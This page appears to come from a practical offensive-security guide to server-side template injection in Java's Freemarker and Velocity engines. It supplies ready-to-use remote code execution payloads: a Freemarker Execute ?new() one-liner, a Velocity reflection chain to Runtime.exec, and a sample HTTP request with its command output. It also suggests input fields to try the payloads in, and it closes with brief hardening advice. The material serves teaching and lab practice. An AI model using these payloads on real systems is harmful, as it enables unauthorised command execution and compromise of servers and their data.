Server-Side Template Injection (SSTI): The Complete Practical Guide

Exploiting Freemarker and Velocity SSTI (Java)

How to exploit Java template SSTI: Freemarker's Execute built-in, Velocity's reflection path to Runtime.exec, and why Java SSTI needs reflection.

Published

Freemarker and Velocity are the common Java template engines, and Java SSTI has its own flavor: there is no ambient path from a value to a process, so you reach code execution through reflection (or a dangerous built-in). This page covers both engines. Practice on a free live target.

Step 1: confirm a Java engine

Java engines use the dollar-brace output syntax, so your ${7*7} probe returning 49 points here. Separate the two with an engine-specific tell, since both share the syntax:

Freemarker:  <#assign x=1>${x}        a hash-directive that renders
Velocity:    #set($x=1)$x             a set-directive that renders
either:      a malformed expression -> stack trace naming freemarker.* or org.apache.velocity.*

A rendered Freemarker assign or a parser error naming the freemarker package confirms Freemarker. The Velocity set idiom or an org.apache.velocity trace confirms Velocity.

Step 2a: Freemarker via the Execute built-in

Freemarker ships a utility class, freemarker.template.utility.Execute, that runs an OS command, and the ?new() built-in can instantiate it from a class name. That is the clean path:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Or inline without the assignment:

${"freemarker.template.utility.Execute"?new()("id")}

?new() builds the Execute object and calling it with "id" runs the command. This is the Freemarker equivalent of Jinja2's clean one-liners.

Step 2b: Velocity via reflection

Velocity has no Execute built-in, so you reflect your way to Runtime.exec. Start from any object, get its Class, look up Runtime by name, get the runtime, and exec:

#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
$run.exec("id")

Each step is a reflection call: forName loads the Runtime class, getMethod/invoke calls the static getRuntime(), and exec runs the command. This is the "reflection gymnastics" Java SSTI is known for.

Step 3: run a command and read the output

Fire the engine-matched payload:

POST /report HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
template=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
HTTP/1.1 200 OK
Content-Type: text/html
 
uid=1000(appsvc) gid=1000(appsvc) groups=1000(appsvc)

A note on reading output: Freemarker's Execute returns the command's output directly into the render, which is convenient. Velocity's exec returns a Process object, so to see output you read its input stream, or you fall back to a blind/out-of-band technique if wiring the stream through the template is awkward.

Delivery vectors

Java SSTI often lives in less obvious inputs: a report or document template field, an admin-editable email or theme, a value reflected into a server-rendered error. Try the payload in forms, in headers that feed templated responses, and in any stored field that an admin view later renders.

Fixing it

  • Pass user input as data, never into the template source.
  • Freemarker: restrict resolvers and remove the Execute and ObjectConstructor built-ins, and use the TemplateClassResolver safe settings.
  • Velocity: avoid exposing powerful objects into the context and keep the engine patched.

Full guidance is in preventing SSTI. Next, defeating sandboxes in SSTI to RCE and sandbox escape, or try a Java engine on a free lab.

← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide